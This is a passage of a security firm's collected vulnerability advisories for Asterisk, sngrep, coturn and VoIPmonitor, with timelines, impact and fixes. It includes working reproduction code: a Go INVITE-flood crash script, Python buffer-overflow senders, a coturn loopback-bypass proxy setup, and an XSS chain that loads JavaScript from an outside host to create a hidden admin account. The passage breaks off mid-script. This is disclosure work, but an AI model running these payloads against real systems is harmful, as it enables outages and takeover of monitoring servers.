[anonymous] 58 | type = endpoint 59 | context = anon 60 | allow = all 61 | ``` 62 | 63 | The following code in Go can be used to reproduce this issue: 64 | 65 | ```go 66 | package main 67 | 68 | import ( 69 | "bytes" 70 | "flag" 71 | "fmt" 72 | "math/rand" 73 | "net" 74 | "strconv" 75 | "strings" 76 | "time" 77 | ) 78 | 79 | const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 80 | 81 | func init() { 82 | rand.Seed(time.Now().UnixNano()) 83 | } 84 | 85 | func randstr(length int) string { 86 | b := make([]byte, length) 87 | for i := range b { 88 | b[i] = charset[rand.Intn(len(charset))] 89 | } 90 | return string(b) 91 | } 92 | 93 | type loop struct { 94 | host string 95 | port int 96 | conn net.Conn 97 | invite []byte 98 | cseq int 99 | } 100 | 101 | func (l *loop) start() { 102 | sdp := "v=0\r\n" 103 | sdp += "o=- 1598350717 1598350717 IN IP4 192.168.1.112\r\n" 104 | sdp += "s=-\r\n" 105 | sdp += "c=IN IP4 192.168.1.112\r\n" 106 | sdp += "t=0 0\r\n" 107 | sdp += "m=audio 9999 RTP/AVP 0\r\n" 108 | sdp += "a=rtpmap:0 PCMU/8000/1\r\n" 109 | sdp += "a=sendrecv\r\n" 110 | 111 | invite := "INVITE sip:5cb49ced@127.0.0.1:5060 SIP/2.0\r\n" 112 | invite += "Via: SIP/2.0/UDP 192.168.1.112:44896;rport;branch=z9hG4bK-_BRANCH_\r\n" 113 | invite += "Max-Forwards: 70\r\n" 114 | invite += "From: ;tag=2k309f\r\n" 115 | invite += "To: \r\n" 116 | invite += "Call-ID: 2345908ux\r\n" 117 | invite += "CSeq: _CSEQ_ INVITE\r\n" 118 | invite += "Contact: \r\n" 119 | invite += fmt.Sprintf("Content-Length: %d\r\n", len(sdp)) 120 | invite += "Content-Type: application/sdp\r\n" 121 | invite += "\r\n" 122 | invite += sdp 123 | 124 | l.invite = []byte(invite) 125 | 126 | var err error 127 | l.conn, err = net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", l.host, l.port), 5*time.Second) 128 | if err != nil { 129 | fmt.Println(err.Error()) 130 | time.Sleep(10 * time.Millisecond) 131 | go l.start() 132 | return 133 | } 134 | 135 | if l.conn != nil { 136 | l.run() 137 | } else { 138 | time.Sleep(10 * time.Millisecond) 139 | go l.start() 140 | } 141 | } 142 | 143 | func (l *loop) run() { 144 | if err := l.conn.SetWriteDeadline(time.Now().Add(10 * time.Millisecond)); err != nil { 145 | if strings.Contains(err.Error(), "use of closed network connection") { 146 | l.start() 147 | } 148 | 149 | } 150 | 151 | var err error 152 | for { 153 | l.cseq++ 154 | inv := l.invite 155 | inv = bytes.ReplaceAll(inv, []byte("_BRANCH_"), []byte(randstr(8))) 156 | inv = bytes.ReplaceAll(inv, []byte("_CSEQ_"), []byte(strconv.Itoa(l.cseq))) 157 | 158 | if _, err = l.conn.Write(inv); err != nil { 159 | go l.start() 160 | return 161 | } 162 | } 163 | } 164 | 165 | func main() { 166 | var port = flag.Int("p", 5060, "Port") 167 | var host = flag.String("h", "127.0.0.1", "Host") 168 | flag.Parse() 169 | 170 | for i := 0; i < 100; i++ { 171 | go func() { 172 | l := loop{ 173 | host: *host, 174 | port: *port, 175 | } 176 | l.start() 177 | }() 178 | } 179 | select {} 180 | } 181 | ``` 182 | 183 | ## Solution and recommendations 184 | 185 | Apply the patch provided by Asterisk or upgrade to a fixed version. 186 | 187 | Enable Security would like to thank Kevin Harwell, Joshua C. Colp and the staff at Asterisk for the very quick response and fixing this security issue. 188 | 189 | ## About Enable Security 190 | 191 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 192 | 193 | ## Disclaimer 194 | 195 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 196 | 197 | ## Disclosure policy 198 | 199 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 200 | 201 | -------------------------------------------------------------------------------- /ES2020-02-asterisk-tcp-invite-crash/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "flag" 6 | "fmt" 7 | "math/rand" 8 | "net" 9 | "strconv" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 15 | 16 | func init() { 17 | rand.Seed(time.Now().UnixNano()) 18 | } 19 | 20 | func randstr(length int) string { 21 | b := make([]byte, length) 22 | for i := range b { 23 | b[i] = charset[rand.Intn(len(charset))] 24 | } 25 | return string(b) 26 | } 27 | 28 | type loop struct { 29 | host string 30 | port int 31 | conn net.Conn 32 | invite []byte 33 | cseq int 34 | } 35 | 36 | func (l *loop) start() { 37 | sdp := "v=0\r\n" 38 | sdp += "o=- 1598350717 1598350717 IN IP4 192.168.1.112\r\n" 39 | sdp += "s=-\r\n" 40 | sdp += "c=IN IP4 192.168.1.112\r\n" 41 | sdp += "t=0 0\r\n" 42 | sdp += "m=audio 9999 RTP/AVP 0\r\n" 43 | sdp += "a=rtpmap:0 PCMU/8000/1\r\n" 44 | sdp += "a=sendrecv\r\n" 45 | 46 | invite := "INVITE sip:5cb49ced@127.0.0.1:5060 SIP/2.0\r\n" 47 | invite += "Via: SIP/2.0/UDP 192.168.1.112:44896;rport;branch=z9hG4bK-_BRANCH_\r\n" 48 | invite += "Max-Forwards: 70\r\n" 49 | invite += "From: ;tag=2k309f\r\n" 50 | invite += "To: \r\n" 51 | invite += "Call-ID: 2345908ux\r\n" 52 | invite += "CSeq: _CSEQ_ INVITE\r\n" 53 | invite += "Contact: \r\n" 54 | invite += fmt.Sprintf("Content-Length: %d\r\n", len(sdp)) 55 | invite += "Content-Type: application/sdp\r\n" 56 | invite += "\r\n" 57 | invite += sdp 58 | 59 | l.invite = []byte(invite) 60 | 61 | var err error 62 | l.conn, err = net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", l.host, l.port), 5*time.Second) 63 | if err != nil { 64 | fmt.Println(err.Error()) 65 | time.Sleep(10 * time.Millisecond) 66 | go l.start() 67 | return 68 | } 69 | 70 | if l.conn != nil { 71 | l.run() 72 | } else { 73 | time.Sleep(10 * time.Millisecond) 74 | go l.start() 75 | } 76 | } 77 | 78 | func (l *loop) run() { 79 | if err := l.conn.SetWriteDeadline(time.Now().Add(10 * time.Millisecond)); err != nil { 80 | if strings.Contains(err.Error(), "use of closed network connection") { 81 | l.start() 82 | } 83 | 84 | } 85 | 86 | var err error 87 | for { 88 | l.cseq++ 89 | inv := l.invite 90 | inv = bytes.ReplaceAll(inv, []byte("_BRANCH_"), []byte(randstr(8))) 91 | inv = bytes.ReplaceAll(inv, []byte("_CSEQ_"), []byte(strconv.Itoa(l.cseq))) 92 | 93 | if _, err = l.conn.Write(inv); err != nil { 94 | go l.start() 95 | return 96 | } 97 | } 98 | } 99 | 100 | func main() { 101 | var port = flag.Int("p", 5060, "Port") 102 | var host = flag.String("h", "127.0.0.1", "Host") 103 | flag.Parse() 104 | 105 | for i := 0; i < 100; i++ { 106 | go func() { 107 | l := loop{ 108 | host: *host, 109 | port: *port, 110 | } 111 | l.start() 112 | }() 113 | } 114 | select {} 115 | } 116 | -------------------------------------------------------------------------------- /ES2020-03-sngrep-malformed-media-type/README.md: -------------------------------------------------------------------------------- 1 | # sngrep crashes due to a buffer overflow caused by a malformed SDP media type 2 | 3 | - Fixed versions: 1.4.8 4 | - Enable Security Advisory: 5 | - Tested vulnerable versions: 1.4.7 6 | - Timeline: 7 | - Report date: 2020-09-16 8 | - sngrep confirmed issue + patch: 2020-09-16 9 | - sngrep release with fix: 2020-11-10 10 | - Enable Security advisory: 2020-11-20 11 | 12 | ## Description 13 | 14 | When sending a specially crafted SIP message with a malformed SDP media type, `sngrep` crashes due to a buffer overflow. The following backtrace was generated during our tests: 15 | 16 | ``` 17 | #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 18 | #1 0x00007ffff7ced859 in __GI_abort () at abort.c:79 19 | #2 0x00007ffff7d583ee in __libc_message (action=action@entry=do_abort, 20 | fmt=fmt@entry=0x7ffff7e8207c "*** %s ***: terminated\n") 21 | at ../sysdeps/posix/libc_fatal.c:155 22 | #3 0x00007ffff7dfa9ba in __GI___fortify_fail ( 23 | msg=msg@entry=0x7ffff7e82012 "buffer overflow detected") at fortify_fail.c:26 24 | #4 0x00007ffff7df9256 in __GI___chk_fail () at chk_fail.c:28 25 | #5 0x00007ffff7df8b36 in __strcpy_chk (dest=0x7ffff00306f2 "", 26 | src=0x7ffff79fcad1 'A' ..., destlen=destlen@entry=15) 27 | at strcpy_chk.c:30 28 | #6 0x0000555555563f72 in strcpy (__src=, __dest=) 29 | at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:90 30 | #7 media_set_type (media=, type=) at media.c:65 31 | #8 0x0000000000000000 in ?? () 32 | ``` 33 | 34 | The issue was originally discovered during [OpenSIPIt](https://opensipit.org/); tracked down and analyzed for severity and impact later. 35 | 36 | ## Impact 37 | 38 | Since most modern build systems will automatically include run-time best practice checks, it is highly unlikely that this issue is exploited in a way that it overwrites to adjacent memory locations. However, due to how fortify protection works, the program will still end up crashing. Nonetheless, this issue should not be dismissed by relying on build system protections and should be adequately fixed. 39 | 40 | ## How to reproduce the issue 41 | 42 | 1. Run `sngrep` 43 | 1. Execute the below python program 44 | 1. Notice that `sngrep` has crashed 45 | 46 | ```python 47 | import socket 48 | 49 | sdp="v=0\r\n" + \ 50 | "o=- 1600157102 1600157102 IN IP4 127.0.0.1\r\n" + \ 51 | "s=-\r\n" + \ 52 | "c=IN IP4 127.0.0.1\r\n" + \ 53 | "t=0 0\r\n" + \ 54 | "m=%s 9999 RTP/AVP 8 0 96 101\r\n" % ('A' * 1024) + \ 55 | "a=rtpmap:8 PCMA/8000/1\r\n" + \ 56 | "a=rtpmap:0 PCMU/8000/1\r\n" + \ 57 | "a=rtpmap:96 opus/96000/2\r\n" + \ 58 | "a=rtpmap:101 telephone-event/8000/1\r\n" + \ 59 | "a=sendrecv" 60 | 61 | sip_msg="INVITE sip:bob_1@127.0.0.1:5060 SIP/2.0\r\n" + \ 62 | "Via: SIP/2.0/UDP 127.0.0.1:40111;rport;branch=z9hG4bK-a\r\n" + \ 63 | "Max-Forwards: 70\r\n" + \ 64 | "From: ;tag=3Ewqeuo81F1Hjvtg\r\n" + \ 65 | "To: \r\n" + \ 66 | "Call-ID: maooZ4nDzmArTBkT\r\n" + \ 67 | "CSeq: 1020 INVITE\r\n" + \ 68 | "Contact: \r\n" + \ 69 | "Content-Length: %i\r\n" % len(sdp) + \ 70 | "Content-Type: application/sdp\r\n" + \ 71 | "\r\n" + \ 72 | sdp 73 | 74 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 75 | sock.sendto(sip_msg.encode(), ("127.0.0.1", 5060)) 76 | ``` 77 | 78 | 79 | ## Solutions and recommendations 80 | 81 | It is recommended that the length of the string passed to function `media_set_type` in `media.c` is checked against `MEDIATYPELEN`, which is of length 15. 82 | 83 | ## About Enable Security 84 | 85 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 86 | 87 | ## Disclaimer 88 | 89 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 90 | 91 | ## Disclosure policy 92 | 93 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 94 | 95 | -------------------------------------------------------------------------------- /ES2020-03-sngrep-malformed-media-type/attack.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | sdp="v=0\r\n" + \ 4 | "o=- 1600157102 1600157102 IN IP4 127.0.0.1\r\n" + \ 5 | "s=-\r\n" + \ 6 | "c=IN IP4 127.0.0.1\r\n" + \ 7 | "t=0 0\r\n" + \ 8 | "m=%s 9999 RTP/AVP 8 0 96 101\r\n" % ('A' * 1024) + \ 9 | "a=rtpmap:8 PCMA/8000/1\r\n" + \ 10 | "a=rtpmap:0 PCMU/8000/1\r\n" + \ 11 | "a=rtpmap:96 opus/96000/2\r\n" + \ 12 | "a=rtpmap:101 telephone-event/8000/1\r\n" + \ 13 | "a=sendrecv" 14 | 15 | sip_msg="INVITE sip:bob_1@127.0.0.1:5060 SIP/2.0\r\n" + \ 16 | "Via: SIP/2.0/UDP 127.0.0.1:40111;rport;branch=z9hG4bK-a\r\n" + \ 17 | "Max-Forwards: 70\r\n" + \ 18 | "From: ;tag=3Ewqeuo81F1Hjvtg\r\n" + \ 19 | "To: \r\n" + \ 20 | "Call-ID: maooZ4nDzmArTBkT\r\n" + \ 21 | "CSeq: 1020 INVITE\r\n" + \ 22 | "Contact: \r\n" + \ 23 | "Content-Length: %i\r\n" % len(sdp) + \ 24 | "Content-Type: application/sdp\r\n" + \ 25 | "\r\n" + \ 26 | sdp 27 | 28 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 29 | sock.sendto(sip_msg.encode(), ("127.0.0.1", 5060)) -------------------------------------------------------------------------------- /ES2020-04-sngrep-malformed-connection-address/README.md: -------------------------------------------------------------------------------- 1 | # sngrep crashes due to a stack overflow caused by a malformed SDP connection address 2 | 3 | - Fixed versions: 1.4.8 4 | - Enable Security Advisory: 5 | - Tested vulnerable versions: 1.4.7 6 | - Timeline: 7 | - Report date: 2020-09-16 8 | - sngrep confirmed issue + patch: 2020-09-16 9 | - sngrep release with fix: 2020-11-10 10 | - Enable Security advisory: 2020-11-20 11 | 12 | ## Description 13 | 14 | When sending a specially crafted SIP message with a malformed SDP connection address, `sngrep` crashes due to a stack overflow. The following backtrace was generated during our tests: 15 | 16 | ``` 17 | (gdb) bt 18 | #0 __GI_raise (sig=sig@entry=6) 19 | at ../sysdeps/unix/sysv/linux/raise.c:50 20 | #1 0x00007ffff7ced859 in __GI_abort () at abort.c:79 21 | #2 0x00007ffff7d583ee in __libc_message ( 22 | action=action@entry=do_abort, 23 | fmt=fmt@entry=0x7ffff7e8207c "*** %s ***: terminated\n") 24 | at ../sysdeps/posix/libc_fatal.c:155 25 | #3 0x00007ffff7dfa9ba in __GI___fortify_fail ( 26 | msg=msg@entry=0x7ffff7e82064 "stack smashing detected") 27 | at fortify_fail.c:26 28 | #4 0x00007ffff7dfa986 in __stack_chk_fail () at stack_chk_fail.c:24 29 | #5 0x0000555555560651 in sip_parse_msg_media (msg=0x7ffff0046c60, 30 | payload=) at sip.c:740 31 | #6 0x3131313131313131 in ?? () 32 | #7 0x3131313131313131 in ?? () 33 | ``` 34 | 35 | The issue was originally discovered during [OpenSIPIt](https://opensipit.org/); tracked down and analyzed for severity and impact later. 36 | 37 | ## Impact 38 | 39 | Since most modern build systems will automatically include run-time best practice checks, it is highly unlikely that this stack overflow issue is exploited. However, due to how fortify protection works, the program will still end up crashing. Nonetheless, this issue should not be dismissed by relying on build system protections and should be adequately fixed. 40 | 41 | ## How to reproduce the issue 42 | 43 | 1. Run `sngrep` 44 | 1. Execute the below python program 45 | 1. Notice that `sngrep` has crashed 46 | 47 | ```python 48 | import socket 49 | 50 | sdp="v=0\r\n" + \ 51 | "o=- 1600157102 1600157102 IN IP4 127.0.0.1\r\n" + \ 52 | "s=-\r\n" + \ 53 | "c=IN IP4 127.0.0.1%s\r\n" % ('1' * 512) + \ 54 | "t=0 0\r\n" + \ 55 | "m=audio 9999 RTP/AVP 8 0 96 101\r\n" + \ 56 | "a=rtpmap:8 PCMA/8000/1\r\n" + \ 57 | "a=rtpmap:0 PCMU/8000/1\r\n" + \ 58 | "a=rtpmap:96 opus/96000/2\r\n" + \ 59 | "a=rtpmap:101 telephone-event/8000/1\r\n" + \ 60 | "a=sendrecv" 61 | 62 | sip_msg="INVITE sip:bob_1@127.0.0.1:5060 SIP/2.0\r\n" + \ 63 | "Via: SIP/2.0/UDP 127.0.0.1:40111;rport;branch=z9hG4bK-a\r\n" + \ 64 | "Max-Forwards: 70\r\n" + \ 65 | "From: ;tag=3Ewqeuo81F1Hjvtg\r\n" + \ 66 | "To: \r\n" + \ 67 | "Call-ID: maooZ4nDzmArTBkT\r\n" + \ 68 | "CSeq: 1020 INVITE\r\n" + \ 69 | "Contact: \r\n" + \ 70 | "Content-Length: %i\r\n" % len(sdp) + \ 71 | "Content-Type: application/sdp\r\n" + \ 72 | "\r\n" + \ 73 | sdp 74 | 75 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 76 | sock.sendto(sip_msg.encode(), ("127.0.0.1", 5060)) 77 | ``` 78 | 79 | 80 | ## Solutions and recommendations 81 | 82 | The issue arises due to the use of `sscanf` on line 716. The length of `dst.ip` is 16, so, `sscanf` will overwrite any adjacent memory. It is recommended that the IP is first parsed, its length validated and then, if valid, the value of `dst.ip` is set. 83 | 84 | ## About Enable Security 85 | 86 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 87 | 88 | ## Disclaimer 89 | 90 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 91 | 92 | ## Disclosure policy 93 | 94 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 95 | 96 | -------------------------------------------------------------------------------- /ES2020-04-sngrep-malformed-connection-address/attack.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | sdp="v=0\r\n" + \ 4 | "o=- 1600157102 1600157102 IN IP4 127.0.0.1\r\n" + \ 5 | "s=-\r\n" + \ 6 | "c=IN IP4 127.0.0.1%s\r\n" % ('1' * 512) + \ 7 | "t=0 0\r\n" + \ 8 | "m=audio 9999 RTP/AVP 8 0 96 101\r\n" + \ 9 | "a=rtpmap:8 PCMA/8000/1\r\n" + \ 10 | "a=rtpmap:0 PCMU/8000/1\r\n" + \ 11 | "a=rtpmap:96 opus/96000/2\r\n" + \ 12 | "a=rtpmap:101 telephone-event/8000/1\r\n" + \ 13 | "a=sendrecv" 14 | 15 | sip_msg="INVITE sip:bob_1@127.0.0.1:5060 SIP/2.0\r\n" + \ 16 | "Via: SIP/2.0/UDP 127.0.0.1:40111;rport;branch=z9hG4bK-a\r\n" + \ 17 | "Max-Forwards: 70\r\n" + \ 18 | "From: ;tag=3Ewqeuo81F1Hjvtg\r\n" + \ 19 | "To: \r\n" + \ 20 | "Call-ID: maooZ4nDzmArTBkT\r\n" + \ 21 | "CSeq: 1020 INVITE\r\n" + \ 22 | "Contact: \r\n" + \ 23 | "Content-Length: %i\r\n" % len(sdp) + \ 24 | "Content-Type: application/sdp\r\n" + \ 25 | "\r\n" + \ 26 | sdp 27 | 28 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 29 | sock.sendto(sip_msg.encode(), ("127.0.0.1", 5060)) -------------------------------------------------------------------------------- /ES2021-01-coturn-access-control-bypass/README.md: -------------------------------------------------------------------------------- 1 | # Loopback access control bypass in coturn by using `0.0.0.0`, `[::1]` or `[::]` as the peer address 2 | 3 | - Fixed version: 4.5.2 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-01-coturn-access-control-bypass 5 | - Coturn Security Advisory: https://github.com/coturn/coturn/security/advisories/GHSA-6g6j-r9rf-cm7p 6 | - Other references: 7 | - CVE-2020-26262 8 | - https://www.rtcsec.com/post/2021/01/details-about-cve-2020-26262-bypass-of-coturns-default-access-control-protection/ 9 | - Tested vulnerable versions: 4.5.1.x 10 | - Timeline: 11 | - Report date: 2020-11-20 12 | - Issue confirmed by coturn developers: 2020-11-23 13 | - Security patch provided by Enable Security: 2020-11-30 14 | - Refactoring by coturn developers: 2020-12-07 to 2020-12-10 15 | - Joint Enable Security and Coturn project advisory publication: 2021-01-11 16 | 17 | ## Description 18 | 19 | By default coturn does not allow peers to connect and relay packets to loopback addresses in the range of `127.x.x.x`. However, it was observed that when sending a `CONNECT` request with the `XOR-PEER-ADDRESS` value of `0.0.0.0`, a successful response was received and subsequently, `CONNECTIONBIND` also received a successful response. Coturn then was able to relay packets to local network services. 20 | 21 | Additionally, when coturn was listening on IPv6, which is the default setting, local services could also be reached by making use of either `[::1]` or `[::]` as the peer address. 22 | 23 | ## Impact 24 | 25 | By using the address `0.0.0.0` as the peer address, a malicious user will be able to relay packets to the loopback interface, unless `--denied-peer-ip=0.0.0.0` (or similar) has been specified. Since the default configuration implies that loopback peers are not allowed, coturn administrators may choose to not set the `denied-peer-ip` setting. Similar implications apply to the IPv6 equivalent of `[::1]` and `[::]`. 26 | 27 | ## How we reproduced the issue 28 | 29 | 1. Run coturn using the following command: 30 | 31 | turnserver -v --user=username1:password1 32 | 1. Run our internal tool `stunner`, acting as a socks5 proxy which uses TURN. 33 | 34 | stunner turn peer proxy socks5 tcp://172.17.0.2:3478 \ 35 | --local-bind 0.0.0.0:9999 -u username1:password1 36 | 1. Run a cURL command to connect to `127.0.0.1:80`. 37 | 38 | curl -x socks5h://127.0.0.1:9999 http://127.0.0.1 39 | 1. The following log was observed, confirming that `127.0.0.1` is being blocked: 40 | 41 | 725: IPv4. tcp or tls connected to: 172.17.0.1:36504 42 | 725: session 011000000000000001: realm <172.17.0.2> user <>: 43 | incoming packet message processed, error 401: Unauthorized 44 | 725: IPv4. Local relay addr: 172.17.0.2:51705 45 | 725: session 011000000000000001: new, realm=<172.17.0.2>, username=, 46 | lifetime=600 47 | 725: session 011000000000000001: realm <172.17.0.2> user : 48 | incoming packet ALLOCATE processed, success 49 | 725: session 011000000000000001: realm <172.17.0.2> user : 50 | incoming packet CONNECT processed, error 403: Forbidden IP 51 | 725: session 011000000000000001: realm <172.17.0.2> user : 52 | incoming packet message processed, error 403: Forbidden IP 53 | 1. Run a cURL command to connect to `0.0.0.0:80`. 54 | 55 | curl -x socks5h://127.0.0.1:9999 http://0.0.0.0 56 | 1. The following log was observed, confirming that the loopback protection has been bypassed: 57 | 58 | 1010: IPv4. tcp or tls connected to: 172.17.0.1:37240 59 | 1010: session 005000000000000001: realm <172.17.0.2> user <>: 60 | incoming packet message processed, error 401: Unauthorized 61 | 1010: IPv4. Local relay addr: 172.17.0.2:62504 62 | 1010: session 005000000000000001: new, realm=<172.17.0.2>, 63 | username=, lifetime=600 64 | 1010: session 005000000000000001: realm <172.17.0.2> user : 65 | incoming packet ALLOCATE processed, success 66 | 1010: session 005000000000000001: realm <172.17.0.2> user : 67 | incoming packet CONNECT processed, success 68 | 1010: IPv4. tcp or tls connected to: 172.17.0.1:37242 69 | 1010: session 000000000000000001: client socket to be closed in client handler 70 | 1010: session 000000000000000001: usage: realm=<172.17.0.2>, username=<> 71 | 1010: session 005000000000000001: realm <172.17.0.2> user : 72 | incoming packet CONNECTION_BIND processed, success 73 | 1010: session 000000000000000001: peer usage: realm=<172.17.0.2> 74 | 1010: session 000000000000000001: closed (2nd stage), user <> 75 | realm <172.17.0.2> origin <>, local 172.17.0.2:3478, 76 | remote 172.17.0.1:37242, reason: general 77 | 78 | The 5th step could be repeated with the URL of `http://[::1]` and `http://[::]` where one would also bypass the default protection against loopback connections. 79 | 80 | ## Solution and recommendations 81 | 82 | We recommend upgrading coturn to the latest version, 4.5.2 which fixes this issue. 83 | 84 | To mitigate this issue in previous versions, the addresses in the address block `0.0.0.0/8` should be denied by making use of the `denied-peer-ip` configuration setting. The following is an example configuration that prevents access to `0.0.0.0`: 85 | 86 | ``` 87 | denied-peer-ip=0.0.0.0-0.255.255.255 88 | ``` 89 | 90 | Additionally, as a mitigation step when the patch cannot yet be applied, we recommend disabling IPv6 if not required by listening on an IPv4 IP address. See our blog post for an [explanation][1] for this recommendation. 91 | 92 | [1]: https://www.rtcsec.com/post/2021/01/details-about-cve-2020-26262-bypass-of-coturns-default-access-control-protection/#faq 93 | 94 | Enable Security would like to thank Mészáros Mihály and the developers at Coturn for the very quick response and fixing this security issue. 95 | 96 | 97 | ## About Enable Security 98 | 99 | [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. 100 | 101 | ## Disclaimer 102 | 103 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 104 | 105 | ## Disclosure policy 106 | 107 | This report is subject to Enable Security's vulnerability disclosure policy which can be found at . 108 | 109 | -------------------------------------------------------------------------------- /ES2021-02-voipmonitor-gui-xss/README.md: -------------------------------------------------------------------------------- 1 | # VoIPmonitor WEB GUI vulnerable to Cross-Site Scripting via SIP messages 2 | 3 | - Fixed versions: VoIPmonitor WEB GUI 24.56 4 | - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-02-voipmonitor-gui-xss 5 | - VoIPmonitor Security Advisory: none, changelog references fixes at https://www.voipmonitor.org/changelog-gui?major=5 6 | - Tested vulnerable versions: 24.53, 24.54, 24.55 7 | - References: CVE-2021-1000004 8 | - Timeline: 9 | - Report date: 2021-02-10 10 | - Triaged: 2021-02-12 11 | - First fixes available: 2021-02-15 12 | - Fixes to actually address XSS: 2021-02-22 13 | - VoIPmonitor release with fix: 2021-02-22 14 | - Enable Security advisory: 2021-03-15 15 | 16 | ## Description 17 | 18 | Multiple Cross-Site Scripting vulnerabilities were observed in the VoIPmonitor WEB GUI. These vulnerabilities can be exploited by sending SIP messages towards hosts monitored by VoIPmonitor. During our tests, the following areas were affected: 19 | 20 | - "CDR" section 21 | - listing view via the `User-Agent`, `From` and `Call-ID` headers 22 | - Share CDR 23 | 24 | - "Active calls" section 25 | - listing view via the `User-Agent` and `From` headers 26 | 27 | - "SIP MESSAGES" section 28 | - listing view via the `User-Agent` and `From` headers 29 | - detailed record view via the `User-Agent`, `Call-ID` and `Content-Type` headers 30 | 31 | - "SIP REGISTER" section 32 | - listing view via the `User-Agent` header, and `Authorization` username 33 | 34 | - "SIP Opt., Subsc., Notify" section 35 | - listing view via the `User-Agent` header 36 | - detailed record view via `Call-ID` and caller name 37 | 38 | - "Live sniffer" section 39 | - listing view via the `Call-ID` 40 | 41 | ## Impact 42 | 43 | Abuse of this vulnerability allows attackers to perform operations on behalf of VoIPmonitor WEB GUI users, hijack sessions or create arbitrary administrative accounts in the WEB GUI. 44 | 45 | Due to the nature of the cross-site scripting vulnerability, the attacker does not need authentication to exploit this vulnerability. However, to trigger the injected malicious JavaScript, an administrator has to visit to one of the GUI screens: "CDR", "SIP MESSAGES", "SIP REGISTER" or "SIP Opt., Subsc., Notify". 46 | 47 | ## How to reproduce the issue 48 | 49 | In this section we will demonstrate how to abuse this vulnerability via the REGISTER message. 50 | 51 | Run the following bash script, replacing the target (`demo.sipvicious.pro`) with the hostname/IP of a machine that is being monitored by VoIPmonitor: 52 | 53 | ```bash 54 | payload="REGISTER sip:demo.sipvicious.pro SIP/2.0\r\n" 55 | payload+="Via: SIP/2.0/UDP 192.168.1.119:46896;rport;branch=z9hG4bK-X\r\n" 56 | payload+="Max-Forwards: 70\r\n" 57 | payload+="From: ;tag=ZB1fPjdIHA6RmaNw\r\n" 58 | payload+="To: \r\n" 59 | payload+="Call-ID: C15AfnWADaCSBH4O\r\n" 60 | payload+="CSeq: 1 REGISTER\r\n" 61 | payload+="Contact: \r\n" 62 | payload+="User-Agent: \r\n" 63 | payload+="Content-Type: text/plain\r\n" 64 | payload+="Content-Length: 0\r\n\r\n" 65 | echo -e -n $payload | nc -u demo.sipvicious.pro 5060 66 | ``` 67 | 68 | Then browse to the "SIP REGISTER\failed" section and observe that an alert box with value `1` is shown. 69 | 70 | ![XSS via failed REGISTER message](screenshots/register-failed-alert.png) 71 | 72 | To demonstrate a more complex and dangerous example, host the following JavaScript file on a public facing web server and name it `voipm-xss.js`. 73 | 74 | ```javascript 75 | var username='h3x0r'; 76 | var password='h3x0r-l33t-passwd'; 77 | 78 | $.post('php/model/sql.php', { 79 | task: 'CREATE', 80 | module: 'user_admin', 81 | taskParams: JSON.stringify({ 82 | "keyField": "id", 83 | "data": { 84 | "username": username, 85 | "name": username, 86 | "password": password, 87 | "delete2fa_sec": 0, 88 | "missing_sec": "not defined", 89 | "req_2fa": false, 90 | "email": "", 91 | "is_admin": true, 92 | } 93 | }), 94 | username: username , 95 | name: username , 96 | password: password , 97 | delete2fa_sec: '0' , 98 | email: '' , 99 | is_admin: 'on' , 100 | can_audit: '0' , 101 | note: '' , 102 | blocked_reason: '' , 103 | max_bad_login_attempt: '' , 104 | password_expiration_days: '' , 105 | enable_login_ip: '' , 106 | ip: '' , 107 | number: '' , 108 | domain: '' , 109 | vlan: ''} 110 | ); 111 | ``` 112 | 113 | Then run the following bash script by replacing the script URL to the hosted JavaScript file: 114 | 115 | ```bash 116 | JSURL="//h3x.fun/voipmonitor/xss.js" 117 | 118 | payload='REGISTER sip:demo.sipvicious.pro SIP/2.0\r\n' 119 | payload+='Via: SIP/2.0/UDP 192.168.1.119:46896;rport;branch=z9hG4bK-X\r\n' 120 | payload+='Max-Forwards: 70\r\n' 121 | payload+='From: ;tag=ZB1fPjdIHA6RmaNw\r\n' 122 | payload+='To: \r\n' 123 | payload+='Call-ID: C15AfnWADaCSBH4O\r\n' 124 | payload+='CSeq: 1 REGISTER\r\n' 125 | payload+='Contact: \r\n' 126 | payload+='User-Agent: Values that are user controlled should be correctly encoded before being rendered in the browser. Additionally, JSON output should have the 